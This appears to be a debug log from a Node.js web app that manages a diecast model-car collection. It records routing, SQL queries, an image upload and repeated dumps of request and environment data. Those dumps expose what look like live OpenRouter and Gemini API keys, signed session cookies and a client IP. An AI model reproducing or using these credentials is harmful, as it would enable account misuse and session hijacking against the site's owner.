    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:34:10.644Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:34:10.644Z server-connect:app Executing action step identify
2026-02-04T10:34:10.644Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:10.644Z server-connect:output identity: 1
2026-02-04T10:34:10.644Z server-connect:app Executing action step restrict
2026-02-04T10:34:10.644Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:10.645Z server-connect:output restrict: undefined
2026-02-04T10:34:10.645Z server-connect:app Executing action step condition
2026-02-04T10:34:10.645Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:34:10.645Z server-connect:app Executing action step update
2026-02-04T10:34:10.645Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:34:10.647Z server-connect:output update: { affected: 1 }
2026-02-04T10:34:10.647Z server-connect:app Executing action step upload
2026-02-04T10:34:10.647Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:34:10.647Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:34:10.647Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:34:10.647Z server-connect:upload Processing file: {
  name: 's-l1600 (5).webp',
  data: <Buffer >,
  size: 91472,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-42-20378841770201250643',
  truncated: false,
  mimetype: 'image/webp',
  md5: '17b776d21e995f3342646e2468d38f8e',
  mv: [Function: mv]
}
2026-02-04T10:34:10.647Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_5_158c35df-2b53-43b2-b178-f002831dfaa4.webp',
  rel: 'public/assets/images/diecast/s-l1600_5_158c35df-2b53-43b2-b178-f002831dfaa4.webp'
}
2026-02-04T10:34:10.647Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_5_158c35df-2b53-43b2-b178-f002831dfaa4.webp',
  rel: 'assets/images/diecast/s-l1600_5_158c35df-2b53-43b2-b178-f002831dfaa4.webp'
}
2026-02-04T10:34:10.647Z server-connect:output upload_image: [
  {
    name: 's-l1600_5_158c35df-2b53-43b2-b178-f002831dfaa4.webp',
    path: '/public/assets/images/diecast/s-l1600_5_158c35df-2b53-43b2-b178-f002831dfaa4.webp',
    url: '/assets/images/diecast/s-l1600_5_158c35df-2b53-43b2-b178-f002831dfaa4.webp',
    type: 'image/webp',
    size: 91472
  }
]
2026-02-04T10:34:10.647Z server-connect:app Executing action step repeat
2026-02-04T10:34:10.647Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:34:10.648Z server-connect:app Executing action step insert
2026-02-04T10:34:10.648Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:34:10.648Z server-connect:output images: { affected: 1, identity: 193 }
2026-02-04T10:34:10.648Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:34:10.648Z server-connect:output condition: undefined
2026-02-04T10:34:10.877Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:34:10.878Z server-connect:app Executing action step identify
2026-02-04T10:34:10.878Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:10.878Z server-connect:output identity: 1
2026-02-04T10:34:10.878Z server-connect:app Executing action step restrict
2026-02-04T10:34:10.878Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:10.879Z server-connect:output restrict: undefined
2026-02-04T10:34:10.879Z server-connect:app Executing action step paged
2026-02-04T10:34:10.879Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:34:10.880Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:34:11.102Z server-connect:router Serving templateView /
2026-02-04T10:34:11.102Z server-connect:app Executing action step identify
2026-02-04T10:34:11.102Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:11.102Z server-connect:output identity: 1
2026-02-04T10:34:11.102Z server-connect:app Executing action step restrict
2026-02-04T10:34:11.102Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:11.103Z server-connect:output restrict: undefined
2026-02-04T10:34:11.103Z server-connect:app Executing action step restrict
2026-02-04T10:34:11.103Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:11.103Z server-connect:output restrict: undefined
2026-02-04T10:34:11.103Z server-connect:router Render template layouts/main
2026-02-04T10:34:11.103Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:34:15.290Z server-connect:router Serving templateView /diecast
2026-02-04T10:34:15.290Z server-connect:app Executing action step identify
2026-02-04T10:34:15.290Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:15.290Z server-connect:output identity: 1
2026-02-04T10:34:15.290Z server-connect:app Executing action step restrict
2026-02-04T10:34:15.290Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:34:15.291Z server-connect:output restrict: undefined
2026-02-04T10:34:15.291Z server-connect:router Render template layouts/main
2026-02-04T10:34:15.291Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '195',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=195&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:34:16.127Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:34:16.128Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:34:16.129Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:34:16.129Z server-connect:app Executing action step identify
2026-02-04T10:34:16.129Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:16.130Z server-connect:output identity: 1
2026-02-04T10:34:16.130Z server-connect:app Executing action step restrict
2026-02-04T10:34:16.130Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
